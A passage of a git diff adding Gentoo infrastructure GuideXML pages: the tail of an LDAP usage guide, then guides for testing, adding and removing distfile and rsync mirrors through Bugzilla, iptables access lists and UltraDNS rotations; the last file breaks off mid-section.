+# <i>perl_ldap -b user -D &lt;username&gt;</i>
+</pre>
+
+<pre caption="Create or modify multi-value attributes">
+<comment>(Create a new attribute while preserving the existing ones. 
+Use the command multiple times to add addtional attributes)</comment>
+# <i>perl_ldap -b user -C mail "myaltaddress@example.com" &lt;username&gt;</i>
+# <i>perl_ldap -b user -C mail "backup@example.com" &lt;username&gt;</i>
+</pre>
+
+<pre caption="Reset a user password">
+<comment>(Only available to senior recruiters and infrastructure admins in the
+useradmin group on woodpecker, as well as either the recruiters or
+infra-ldapadmin groups in LDAP. You will be prompted for YOUR password. The new
+user password will NOT be shown to you, it will only be placed in
+/home/&lt;username&gt;/passwd.)</comment>
+# <i>sudo /usr/local/bin/newpasswd &lt;username&gt;</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Infra</title>
+<body>
+
+<p>
+Infra can change their own attributes or those of another user. You <b>must</b>
+bind as <e>user</e> to change any attributes, including your own. To change
+your own attributes use the examples from the "users" section above from any
+LDAP-aware machine. To change another users record, you must be using perl_ldap
+from ldap1.gentoo.org (dunlin.gentoo.org).
+</p>
+
+<p>
+The attribute <c>gentooAccess</c> controls which boxes a user can login to. Only
+infra and a few selected recruiters are allowed to create and modify this
+multi-value attribute. The FQDN must be used (ex. roadrunner.gentoo.org).
+Some special values also exist: infra.group, infra-ldapadmin.group,
+infra-cvsadmin.group, infra-system.group, recruiters.group.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<ul>
+  <li>Master LDAP Server - ldap1.gentoo.org</li>
+  <li>Slave LDAP Server - ldap2.gentoo.org (presently a CNAME to ldap1)</li>
+  <li>Slave LDAP Server - ldap3.gentoo.org</li>
+  <li>Slave LDAP Server - ldap4.gentoo.org</li>
+  <li><uri link="http://www.tldp.org/HOWTO/html_single/LDAP-HOWTO">LDAP HOWTO</uri></li>
+</ul>
+
+<p>
+If you have issues, questions or encounter errors please contact the <mail
+link="gentoo-infrastructure@gentoo.org">Gentoo Infrastructure Team</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/mirror-wrangling.xml b/xml/htdocs/proj/en/infrastructure/mirror-wrangling.xml
new file mode 100644
index 00000000..f84e06e7
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/mirror-wrangling.xml
@@ -0,0 +1,406 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/mirror-wrangling.xml,v 1.13 2010/06/14 01:29:06 darkside Exp $ -->
+
+<guide link="mirror-wrangling.xml">
+<title>Mirror Wrangling</title>
+
+<author title="Author">
+  <mail link="robbat2"/>
+</author>
+<author title="Author">
+  <mail link="fox2mike"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This guide lists the steps needed to properly wrangle new Gentoo mirrors.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2010-06-13</date>
+
+<chapter>
+<title>Mirror Wrangling</title>
+<section>
+<title>Preparing and testing mirrors</title>
+<body>
+
+<p>
+<b>1.</b> New mirrors should file a file <uri
+	link="http://bugs.gentoo.org/enter_bug.cgi?product=Mirrors">bug</uri> under
+the "Mirrors" product, "New Server" component. If a request comes in via email,
+ask them to file the request on Bugzilla.
+</p>
+
+<p>
+This will help us test out the mirror using our <b>G</b>entoo <b>A</b>utomated
+<b>R</b>sync <b>D</b>istfiles checker script, or GARD for short.
+</p>
+
+<p>
+<b>2.</b> Ask for the following information on the bug, if not provided
+already:
+</p>
+
+<ul>
+  <li>
+    Official mirror name (preferably not your hostname, but the name of your
+    organization)
+  </li>
+  <li>
+    Mirror type: distfiles/releases, gentoo-portage. NOTE: gentoo-portage is
+    always rsync <e>only</e>. Some mirrors may have rsync for distfiles as well.
+    Do not be confused by the difference!
+  </li>
+  <li>
+    URLs: full protocol <e>and</e> path for release/distfile mirrors, hostname
+    or IP for gentoo-portage mirrors
+  </li>
+  <li>Hardware specifications</li>
+  <li>
+    Bandwidth specifications (transfer speed, eg 100Mbit, and any limits you
+    may have)
+  </li>
+  <li>Location</li>
+  <li>Intended concurrent users (for each protocol, mirror type)</li>
+  <li>
+    Admin contact name and email address (This address should be registered in
+    bugzilla so we can CC you to any bug reports)
+  </li>
+</ul>
+
+<p>
+<b>3.</b> Modify the summary to have the type of mirror and the city as well as
+country if possible.
+</p>
+
+<p>
+<b>4.</b> Build a testing string for GARD. The <c>;</c> <c>:</c> and <c>|</c>
+are important, make sure they're where they're supposed to be:
+</p>
+
+<pre caption="String format for GARD">
+due:YYYY/MM/DD;dist:http://URL|ftp://URL|rsync://URL (distfiles);portage:FQDN or IP
+</pre>
+
+<p>
+Here are some string samples:
+</p>
+
+<pre caption="Server strings">
+<comment>(Everything mirror: distfiles + gentoo-portage)</comment>
+due:2009/01/01;dist:http://mirror.gentoo.org/gentoo/|ftp://mirror.gentoo.org/gentoo/|rsync://mirror.gentoo.org/gentoo/;portage:mirror.gentoo.org
+
+<comment>(gentoo-portage mirror only)</comment>
+due:2009/01/01;dist:||;portage:mirror.gentoo.org
+
+<comment>(http distfiles mirror only)</comment>
+due:2009/01/01;dist:http://mirror.gentoo.org/gentoo/||;portage:
+</pre>
+
+<p>
+<b>5.</b> Inform the mirror of testing policies, tell them the due date (when
+testing will be completed) and give them the following links to make sure their
+mirror(s) have been setup correctly:
+</p>
+
+<ul>
+  <li>Distfiles: <uri>http://www.gentoo.org/doc/en/source_mirrors.xml</uri></li>
+  <li>gentoo-portage: <uri>http://www.gentoo.org/doc/en/rsync.xml</uri></li>
+</ul>
+
+<p>
+Our policy right now for testing duration is as follows:
+</p>
+
+<ul>
+  <li>
+    New distfiles/gentoo-portage mirrors: 2 weeks from date of infra accepting
+    the bug
+  </li>
+  <li>
+    Returning distfiles/gentoo-portage mirrors: Same hardware/IP - 1 week.
+    Different hardware/IP - 2 weeks
+  </li>
+  <li>
+    Problematic mirrors: 1 week to fix the issue, else they're removed from
+    rotation unless we're provided with valid reasons by the admins.
+  </li>
+  <li>
+    Rsync mirrors in any continental rotation on DNS with issues should be
+    removed immediately from those until the issue is resolved. For example,
+    <path>rsync.namerica.gentoo.org</path>,
+    <path>rsync.europe.gentoo.org</path>. You can leave the mirror in its
+    country's rotation.
+  </li>
+</ul>
+
+<p>
+<b>6.</b> Put the testing string in the Status whiteboard of the bug and mark
+the bug as ASSIGNED. These steps are important for GARD to start checking the
+mirror.
+</p>
+
+<p>
+<b>7.</b> Review the GARD output for issues daily.
+</p>
+
+<p>
+<b>8.</b> Report problems back to the mirror ASAP.
+</p>
+
+<p>
+<b>9.</b> If there are no problems, try to give a (good) report at the halfway
+point of the period.
+</p>
+
+<p>
+<b>10.</b> Give a final good at the end of the testing period, if everything is
+good.
+</p>
+
+<p>
+Now the mirror is ready to be added officially.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Adding Mirrors</title>
+<section>
+<title>For distfiles mirrors</title>
+<body>
+
+<p>
+<b>1.</b> Add the mirror to CVS
+<path>gentoo/xml/htdocs/main/en/mirrors3.xml</path> (check the format of the
+doc, follow the same).
+</p>
+
+<p>
+<b>2.</b> Send the distfiles password email to the new mirror admins, CC
+<mail>mirror-admin@gentoo.org</mail> (mirror admins have the password, it is not
+public).
+</p>
+<pre caption="Example email">Hi,
+We're glad to have you as our newest source mirror, welcome aboard!
+
+Use this information to sync with our private mirror every 4 hours from
+Midnight local time. This is for mirror admins only, please do not share
+this information.
+
+----------------------------------------
+rsync module: masterdistfiles.gentoo.org::gentoo
+username: $insert_here
+password: $insert_here
+
+To make this scriptable, we recommend placing the password in a file and
+then using the --password-file option with rsync.  The file must not be
+accessible by others (i.e. chmod 640) or rsync will complain.  So, as an
+example, placing the password into '~/distfile_passwd', you would use an
+rsync command like the following:
+
+rsync -rlptDq --delete -H --password-file=~/distfile_passwd \
+$username@masterdistfiles.gentoo.org::gentoo /your/local/path/goes/here
+
+Please note that we have received several reports of problems when using
+the -z (compress) option of rsync.  Thus, please DO NOT use this option
+when syncing against this mirror.
+---------------------------------------
+
+Please also make sure you are subscribed to gentoo-mirrors@gentoo.org as
+we often send out administrative notices and policy changes via this
+list.
+
+Thanks for helping Gentoo!
+
+Cheers,
+$name</pre>
+
+<p>
+<b>3.</b> Add the mirror/admin-email to <uri
+link="https://infrawiki.gentoo.org/mirrorcontact">the infra wiki</uri>.
+</p>
+
+<p>
+<b>4.</b> Put in the following comment and close the bug:
+</p>
+
+<p>
+<e>Thanks for helping out Gentoo. I have added your mirror to our list at
+http://www.gentoo.org/main/en/mirrors2.xml. Please start syncing from
+masterdistfiles.gentoo.org as the email I have sent to you instructs. We would
+like you to subscribe to the gentoo-mirrors Mailing List by sending an email to
+gentoo-mirrors+subscribe@lists.gentoo.org, as we send out notifications of
+updates, releases, and changes in policy to the mirrors. Please also monitor
+http://mirrorstats.gentoo.org as this application is used to keep track of the
+up-to-date nature of our mirrors. Thanks for the hardware and bandwidth!</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>For gentoo-portage mirrors</title>
+<body>
+
+<p>
+<b>1.</b> Add the IP to <path>osprey.gentoo.org</path>, at
+<path>/home/gmirror/rsync-hosts-allow/hosts.allow.master</path>. Follow the
+format, re-use existing numbers for a country before adding new ones.
+</p>
+<pre caption="Adding an IP to the ACL">
+$ <i>ssh osprey.gentoo.org</i>
+$ <i>cd /home/gmirror/rsync-hosts-allow</i>
+$ <i>${EDITOR} hosts.allow.master</i>
+$ <i>git commit hosts.allow.master</i>
+</pre>
+
+<p>
+<b>2.</b> To add a new country, just make sure it isn't already there, then
+create one.
+</p>
+
+<note>
+If you've added a new country to this file, chances are countryTLD.gentoo.org
+doesn't exist, check FIRST and if nothing, create one using the "Add A Domain
+Page". Email <mail>infra@gentoo.org</mail> (CC
+<mail>mirror-admin@gentoo.org</mail>) to notify them of the new sub-domain.
+</note>
+
+<p>
+<b>3.</b> Add the IP into the country (and if needed, continent) DNS rotation(s)
+in UltraDNS. For example, a new mirror in the US would be
+<path>rsync(number).us.gentoo.org</path>, so you will add the new IP:
+</p>
+
+<pre caption="Managing DNS rotation">
+rsync(number).us.gentoo.org - TTL - 86400
+
+<comment>(US/Country rotation)</comment>
+rsync.us.gentoo.org - TTL - 1800
+
+<comment>(Continental rotation)</comment>
+rsync.namerica.gentoo.org - TTL - 1800
+</pre>
+
+<note>
+TTLs for rotations are obviously lower, so that we can modify them quickly if
+needed.
+</note>
+
+<p>
+<b>4.</b> Add the mirror to CVS
+<path>gentoo/xml/htdocs/main/en/mirrors-rsync-data.xml</path> (check the format
+of the doc, follow the same).
+</p>
+
+<p>
+<b>5.</b> Add the mirror/admin-email to <uri
+link="https://infrawiki.gentoo.org/mirrorcontact">the infra wiki</uri>.
+</p>
+
+<p>
+<b>6.</b> Put in the following comment (modify as needed) and close the bug:
+</p>
+
+<p>
+<e>Thanks for helping out Gentoo. I have added the IP you specified in the bug
+to our access database, please start syncing to masterportage.gentoo.org per our
+rsync document at http://www.gentoo.org/doc/en/rsync.xml. We would like you to
+subscribe to the gentoo-mirrors Mailing List by sending an email to
+gentoo-mirrors+subscribe@lists.gentoo.org, as we send our notifications of
+updates, releases, and changes in policy to the mirrors. Once again, thanks for
+the hardware and bandwidth! Please also monitor
+http://mirrorstats.gentoo.org/rsync as this application is used to keep track of
+the up-to-date nature of our mirrors. You are mirror
+rsync(number).$country.gentoo.org in the rsync.$country.gentoo.org rotation and
+have been added to the rsync.$continent.gentoo.org rotation as well.</e>
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Removing Mirrors</title>
+<section>
+<title>For distfiles mirrors</title>
+<body>
+
+<p>
+<b>1.</b> Remove the mirror from CVS
+<path>gentoo/xml/htdocs/main/en/mirrors3.xml</path> (check the format of the
+doc, follow the same).
+</p>
+
+<p>
+<b>2.</b> Remove the mirror/admin-email from <uri
+link="https://infrawiki.gentoo.org/mirrorcontact">the infra wiki</uri>.
+</p>
+
+<p>
+<b>3.</b> Put in the following comment and close the bug:
+</p>
+
+<p>
+<e>Removed $server_name from mirrors listings. Thanks for the hardware and
+bandwidth donation, your services helped many Gentoo Users. (You have no more
+obligation to monitor the gentoo-mirrors mailing list.)</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>For gentoo-portage mirrors</title>
+<body>
+
+<p>
+<b>1.</b> Remove the IP from <path>osprey.gentoo.org</path>, at
+<path>/home/gmirror/rsync-hosts-allow/hosts.allow.master</path>. Leave the
+existing rsyncX.$CC comment so that it is known that it should be reused.
+</p>
+<pre caption="Removing an IP to the ACL">
+$ <i>ssh osprey.gentoo.org</i>
+$ <i>cd /home/gmirror/rsync-hosts-allow</i>
+$ <i>${EDITOR} hosts.allow.master</i>
+$ <i>git commit hosts.allow.master</i>
+</pre>
+
+<note>
+If you are removing the last mirror in a rsync.$CC rotation, you should talk to
+infra and make sure there is a solution so users do not try to sync to an dead
+address.
+</note>
+
+<p>
+<b>2.</b> Remove the IP from the country DNS rotation(s) in UltraDNS.
+</p>
+
+<p>
+<b>3.</b> Remove the mirror from CVS
+<path>gentoo/xml/htdocs/main/en/mirrors-rsync-data.xml</path> (check the format
+of the doc, follow the same).
+</p>
+
+<p>
+<b>4.</b> Put in the following comment (modify as needed) and close the bug:
+</p>
+
+<p>
+<e>Removed $server_name from ACLs, removed from DNS. Thanks for the hardware and
+bandwidth donation, your services helped many Gentoo Users. (You have no more
+obligation to monitor the gentoo-mirrors mailing list.)</e>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/mirrors-rsync.xml b/xml/htdocs/proj/en/infrastructure/mirrors-rsync.xml
new file mode 100644
index 00000000..97a42a32
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/mirrors-rsync.xml
@@ -0,0 +1,201 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "mirrors-rsync.xml">
+<title>Instructions for administering our rsync mirror system.</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<abstract>
+This guide documents how to administer our rsync mirroring system, including setting up, deleting and changing rsync mirrors. 
+</abstract>
+<version>1.0.1</version>
+<date>2009/09/17</date>
+<chapter>
+<title>Creating a new rsync mirror</title>
+<section>
+<title>Abstract</title>
+<body>
+<warn>
+This file refers to the OLD administration system. <uri	link="/proj/en/infrastructure/mirror-wrangling.xml">New system documentation available here.</uri>
+</warn>
+<p>
+Setting up a new rsync mirror involves the following steps:
+</p>
+<ul>
+	<li>Acknowledging the bug on bugzilla</li>
+	<li>Adding a probationary entry for the rsync mirror in the iptables ruleset for rsync1.us.gentoo.org</li>
+	<li>Testing the mirror for a period of time to ensure consistency</li>
+	<li>Creating records in DNS for the new mirror</li>
+	<li>Setting up the Directional DNS services in UltraDNS for the new mirror</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+<p>
+The first step in creating a new rsync mirror is for the user to file a bug on <uri link="http://bugs.gentoo.org">http://bugs.gentoo.org</uri>.  From there, the mirror admin should acknowledge the bug and verify that the following information was provided as part of the initial report:
+</p>
+<ul>
+	<li>server name</li>
+	<li>IP address of the mirror</li>
+	<li>contact information of the server administrator</li>
+	<li>maximum number of concurrent connections allowed</li>
+	<li>server specs, including CPU, RAM and connection speed to the internet</li>
+	<li>any other requirements listed on the <uri link="/doc/en/rsync.xml">Rsync Mirrors Policy</uri> document</li>
+</ul>
+<p>
+If part of the information is missing, please request it as a follow-up to the bug.  Then, continue to the next step.
+</p>
+</body>
+</section>
+<section>
+<title>Probationary Period</title>
+<body>
+<p>
+New rsync mirror candidates need to go through a probationary period of at least 48 hours and preferably 96 hours where their server is checked periodically for timely updates with rsync1.us.gentoo.org.  To set this up, the mirror admin must modify the iptables ruleset on rsync1.us.gentoo.org.  ssh into rsync1.us.gentoo.org and perform the following operations:
+</p>
+<pre caption="Use vim and sudo to edit /etc/init.d/rsync">
+# <i>sudo /usr/bin/vim /etc/init.d/rsync</i>
+</pre>
+<pre caption="Look for the Testing section and add the new mirror there">
+#######
+#
+# TESTING MIRRORS
+# PUT MIRRORS THAT ARE IN THE TESTING PHASE HERE
+# MAKE SURE TO REFERENCE THE BUGZILLA # SO WE CAN TRACK THEM
+#
+######
+
+        #bug #12345
+	     addMirror 192.168.1.1
+</pre>
+<note>Each entry should consist of at least two lines; a comment that references the bug number and the actual access entry.  The access line <b>must</b> take the form of <c>addMirror &lt;ip address&gt;</c></note>
+<p>
+You must also manually add the rule to the existing iptables ruleset:
+</p>
+<pre caption="Adding the entry to the existing itpables ruleset using sudo">
+# <i>sudo /sbin/iptables -A tcp_packets -p TCP -s &lt;ip address&gt; --dport 873 -j tcp_allowed</i>
+</pre>
+<p>
+From there, monitor the rsync mirror over the next 48-96 hours to ensure it is updating on :00 and :30 intervals.  If the mirror shows inconsistencies of any type, report them on the bug entry and work with the server admin to resolve them if possible.
+</p>
+<note>
+A "TODO" item is to write a script that will automate the monitoring process during the probationary period.
+</note>
+</body>
+</section>
+<section>
+<title>Adding DNS entries</title>
+<body>
+<p>
+After the mirror candidate has passed the probationary period, the mirror admin should create DNS entries for the mirror.  Each mirror needs 5 distinct DNS records:
+</p>
+<ul>
+	<li>The master rsync record. This can be an A record or a CNAME.  ex: <c>rsync5.us.gentoo.org</c></li>
+	<li>A TXT record containing the contact information of the server admin.  ex:<c>"Joe Admin &lt;joe@user.com&gt;"</c></li>
+	<li>The appropriate entry in the <c>rsync.gentoo.org</c> rotation</li>
+	<li>The appropriate entry in the country-code rotation. ex: <c>rsync.uk.gentoo.org</c></li>
+	<li>The appropriate entry in the continent-code rotation.  ex: <c>rsync.namerica.gentoo.org</c></li>
+</ul>
+<impo>
+To ensure we can quickly and easily remove problematic rsync mirrors from our rotations, new entries should be created with a TTL of no longer than 20 minutes.
+</impo>
+<impo>
+DNS round robin rotations do <b>not</b> support the use of CNAMEs in rotations.  Any record in a round robin rotation must be an A record.
+</impo>
+<note>
+Because <c>rsync.gentoo.org</c> as well as <c>rsync.europe.gentoo.org</c>, <c>rsync.us.gentoo.org</c> and <c>rsync.namerica.gentoo.org</c> are getting full, mirror admins should use their discretion when adding servers to these rotations.  In general, only servers which support at least 25 users, have a 10Mbps connection to the internet and are on a server with sufficient resources should be added to these rotations.
+</note>
+<p>
+To create the entries, log into <uri link="https://www.ultradns.net">UltraDNS</uri> using the mirror administration account information and create the records via the web interface.
+</p>
+</body>
+</section>
+<section>
+<title>Adding Directional DNS</title>
+<body>
+<p>
+For the master rsync.gentoo.org rotation, we use Directional DNS to "target" specific sets of mirrors at users based on the location of their IP address.  While it is easiest to think of this feature as geo-location, it actually relies more on the user's network connection and its proximity to the various UltraDNS servers.  To enable the Directional DNS service, follow these steps:
+</p>
+<ul>
+	<li>Log into the <uri link="https://www.ultradns.net">UltraDNS</uri> administrative interface</li>
+	<li>Select the <c>rsync.gentoo.org</c> domain</li>
+	<li>Locate the record for which you wish to set up Directional DNS capabilities</li>
+	<li>Click on the spinning globe (either grey or blue) for that entry.  A pop-up screen will result</li>
+	<li>Select the servers for which UltraDNS should return that record as a result.  They should be geographically close to the physical location of the machine</li>
+	<li>Click <c>finished</c> to close out of the Directional DNS screen</li>
+</ul>
+<impo>
+Mirror administrators should periodically ensure that rsync.gentoo.org does not return too many records for any one particular set.  When there are more than approximately 22 records returned as part of a round robin set, it becomes larger than what UDP can handle.  This causes DNS to failover and try TCP instead.  This causes problems with users who have TCP port 53 blocked.
+</impo>
+</body>
+</section>
+<section>
+<title>Updating the iptables access list</title>
+<body>
+<p>
+Once the mirror candidate is up and functioning, the mirror administrator should update the entry in the rsync1.us.gentoo.org iptables access list to reflect the change.
+</p>
+<pre caption="Use vim and sudo to edit /etc/init.d/rsync">
+# <i>sudo /usr/bin/vim /etc/init.d/rsync</i>
+</pre>
+<pre caption="Move the entry in the Testing Mirrors section to the appropriate part of the file">
+#######
+#
+# TESTING MIRRORS
+# PUT MIRRORS THAT ARE IN THE TESTING PHASE HERE
+# MAKE SURE TO REFERENCE THE BUGZILLA # SO WE CAN TRACK THEM
+#
+######
+
+        #bug #12345
+         addMirror 192.168.1.1
+<comment>(delete the entry above and move it to the appropriate section below)</comment>
+[snip]
+
+# .us RSYNC MIRRORS
+
+        # rsync5.us     "Joe Admin &lt;joe@admin.com&gt;"
+		addMirror 192.168.1.1
+
+</pre>
+<note>Each entry should consist of at least two lines; a comment that references the server administrator and their email address as well as a line containing the actual access entry.  The access line <b>must</b> take the form of <c>addMirror &lt;ip address&gt;</c></note>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Updating an rsync mirror</title>
+<section>
+<body>
+<p>
+Updating an rsync mirror involves many of the same steps above, except there is no probationary period and the existing records are simply changed, rather than new records being added.
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Deleting an rsync mirror</title>
+<section>
+<body>
+<p>
+To delete an rsync mirror, simply complete the following steps:
+</p>
+<ul>
+	<li>Delete the entry in /etc/init.d/rsync on rsync1.us.gentoo.org</li>
+	<li>Manually delete the iptables entry on rsync1.us.gentoo.org</li>
+	<li>Delete all 5 records in UltraDNS</li>
+</ul>
+<pre caption="Deleting the entry from the existing itpables ruleset using sudo">
+# <i>sudo /sbin/iptables -D tcp_packets -p TCP -s &lt;ip address&gt;</i>
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/mirrors/config-distfile.xml b/xml/htdocs/proj/en/infrastructure/mirrors/config-distfile.xml
new file mode 100644
index 00000000..96e32f07
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/mirrors/config-distfile.xml
@@ -0,0 +1,89 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "config-distfile.xml">
+<title>Instructions for setting up a new distfile mirror.</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<abstract>
+This guide documents how to administer our distfile mirroring system, including setting up, deleting and changing distfile mirrors. 
+</abstract>
+<version>0.9</version>
+<date>27 August 2003</date>
+<chapter>
+<title>Creating a new distfile mirror</title>
+<section>
+<title>Abstract</title>
+<body>
+<warn>This file refers to the OLD administration system. <uri link="/proj/en/infrastructure/mirror-wrangling.xml">New system documentation available here.</uri></warn>
+<p>
+Setting up a new distfile mirror nvolves the following steps:
+</p>
+<ul>
+	<li>Acknowledging the bug on bugzilla</li>
+	<li>Send the mirror admin instructions on accessing the private master distfile mirror</li>
+	<li>Testing the mirror for a period of time to ensure consistency</li>
+	<li>Creating an entry on the <uri link="/main/en/mirrors.xml">Main Gentoo Mirrors</uri> page</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+<p>
+The first step in creating a new distfile mirror is for the user to file a bug on <uri link="http://bugs.gentoo.org">http://bugs.gentoo.org</uri>.  From there, the mirror admin should acknowledge the bug and verify that the following information was provided as part of the initial report:
+</p>
+<ul>
+	<li>server name</li>
+	<li>IP address of the mirror</li>
+	<li>contact information of the server administrator</li>
+	<li>maximum number of concurrent connections allowed</li>
+	<li>server specs, including CPU, RAM and connection speed to the internet</li>
+	<li>any other requirements listed on the <uri link="/doc/en/source_mirrors.xml">Distfile Mirrors Policy</uri> document</li>
+</ul>
+<p>
+If part of the information is missing, please request it as a follow-up to the bug.  Then, continue to the next step.
+</p>
+</body>
+</section>
+<section>
+<title>Accessing the Private Master Distfile Mirror</title>
+<body>
+<p>
+Gentoo maintains a private, master distfile mirror which only other distfile mirrors are allowed to use.  This ensures that our mirrors are always able to access the latest files when a new version of a popular package, such as KDE or GNOME, is released.  As part of the distfile mirror setup process, you should send the mirror admin instructions on accessing this private mirror.  If you do not have these instructions, you can obtain them from <mail link="klieber@gentoo.org">Kurt Lieber</mail>.
+</p>
+<p>
+Once you have sent the instructions, please make a note in the bug report asking the mirror admin to update their cron scripts to point to the new master mirror.
+</p>
+</body>
+</section>
+<section>
+<title>Probationary Period</title>
+<body>
+<p>
+New distfile mirror candidates need to go through a probationary period of at least 48 hours and preferably 96 hours where their server is checked periodically for timely updates with <e>gentoo.oregonstate.edu</e>.  During this time, monitor the distfile mirror to ensure it is updating at 4 hour intervals.  If the mirror shows inconsistencies of any type, report them on the bug entry and work with the server admin to resolve them if possible.  The easiest way to do this is to check the <e>timestamp.chk</e> file which can be found in the <e>/distfiles/</e> directory on the mirror.
+</p>
+<note>
+A "TODO" item is to write a script that will automate the monitoring process during the probationary period.
+</note>
+</body>
+</section>
+<section>
+<title>Adding Entries to the Main Mirrors page</title>
+<body>
+<p>
+After the mirror candidate has passed the probationary period, the mirror admin should create an entry for the mirror on our <uri link="/main/en/mirrors.xml">Gentoo Mirrors</uri> page.
+</p>
+<note>
+Make one entry per protocol that the new mirror is running
+</note>
+<p>
+To create the entries, check out the latest version of the mirrors.xml file from CVS.  Make the updates to that file and commit it back to CVS. 
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/mirrors/config-rsync.xml b/xml/htdocs/proj/en/infrastructure/mirrors/config-rsync.xml
new file mode 100644
index 00000000..553c4cb0
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/mirrors/config-rsync.xml
@@ -0,0 +1,191 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "config-rsync.xml">
+<title>Instructions for administering our rsync mirror system.</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<abstract>
+This guide documents how to administer our rsync mirroring system, including setting up, deleting and changing rsync mirrors. 
+</abstract>
+<version>0.9</version>
+<date>08 July, 2003</date>
+<chapter>
+<title>Creating a new rsync mirror</title>
+<section>
+<title>Abstract</title>
+<body>
+<warn>This file refers to the OLD administration system. <uri link="/proj/en/infrastructure/mirror-wrangling.xml">New system documentation available here.</uri></warn>
+
+<p>
+Setting up a new rsync mirror involves the following steps:
+</p>
+<ul>
+	<li>Acknowledging the bug on bugzilla</li>
+	<li>Adding a probationary entry for the rsync mirror in the iptables ruleset for rsync1.us.gentoo.org</li>
+	<li>Testing the mirror for a period of time to ensure consistency</li>
+	<li>Creating records in DNS for the new mirror</li>
+	<li>Setting up the Directional DNS services in UltraDNS for the new mirror</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+<p>
+The first step in creating a new rsync mirror is for the user to file a bug on <uri link="http://bugs.gentoo.org">http://bugs.gentoo.org</uri>.  From there, the mirror admin should acknowledge the bug and verify that the following information was provided as part of the initial report:
+</p>
+<ul>
+	<li>server name</li>
+	<li>IP address of the mirror</li>
+	<li>contact information of the server administrator</li>
+	<li>maximum number of concurrent connections allowed</li>
+	<li>server specs, including CPU, RAM and connection speed to the internet</li>
+	<li>any other requirements listed on the <uri link="/doc/en/rsync.xml">Rsync Mirrors Policy</uri> document</li>
+</ul>
+<p>
+If part of the information is missing, please request it as a follow-up to the bug.  Then, continue to the next step.
+</p>
+</body>
+</section>
+<section>
+<title>Probationary Period</title>
+<body>
+<p>
+New rsync mirror candidates need to go through a probationary period of at least 48 hours and preferably 96 hours where their server is checked periodically for timely updates with rsync1.us.gentoo.org.  To set this up, the mirror admin must modify the iptables ruleset on rsync1.us.gentoo.org.  ssh into rsync1.us.gentoo.org and perform the following operations:
+</p>
+<pre caption="Use vim and sudo to edit /etc/init.d/rsync">
+# <i>vim ~gmirror/rsync-hosts-allow/hosts.allow.master</i>
+</pre>
+<pre caption="Look for the Testing section and add the new mirror there">
+#######
+#
+# TESTING MIRRORS
+# PUT MIRRORS THAT ARE IN THE TESTING PHASE HERE
+# MAKE SURE TO REFERENCE THE BUGZILLA # SO WE CAN TRACK THEM
+#
+######
+
+        #bug #12345
+	     addMirror 192.168.1.1
+</pre>
+<note>Each entry should consist of at least two lines; a comment that references the bug number and the actual access entry.  The access line <b>must</b> take the form of <c>addMirror &lt;ip address&gt;</c></note>
+<p>
+From there, monitor the rsync mirror over the next 48-96 hours to ensure it is updating on :00 and :30 intervals.  If the mirror shows inconsistencies of any type, report them on the bug entry and work with the server admin to resolve them if possible.
+</p>
+<note>
+A "TODO" item is to write a script that will automate the monitoring process during the probationary period.
+</note>
+</body>
+</section>
+<section>
+<title>Adding DNS entries</title>
+<body>
+<p>
+After the mirror candidate has passed the probationary period, the mirror admin should create DNS entries for the mirror.  Each mirror needs 5 distinct DNS records:
+</p>
+<ul>
+	<li>The master rsync record. This can be an A record or a CNAME.  ex: <c>rsync5.us.gentoo.org</c></li>
+	<li>A TXT record containing the contact information of the server admin.  ex:<c>"Joe Admin &lt;joe@user.com&gt;"</c></li>
+	<li>The appropriate entry in the <c>rsync.gentoo.org</c> rotation</li>
+	<li>The appropriate entry in the country-code rotation. ex: <c>rsync.uk.gentoo.org</c></li>
+	<li>The appropriate entry in the continent-code rotation.  ex: <c>rsync.namerica.gentoo.org</c></li>
+</ul>
+<impo>
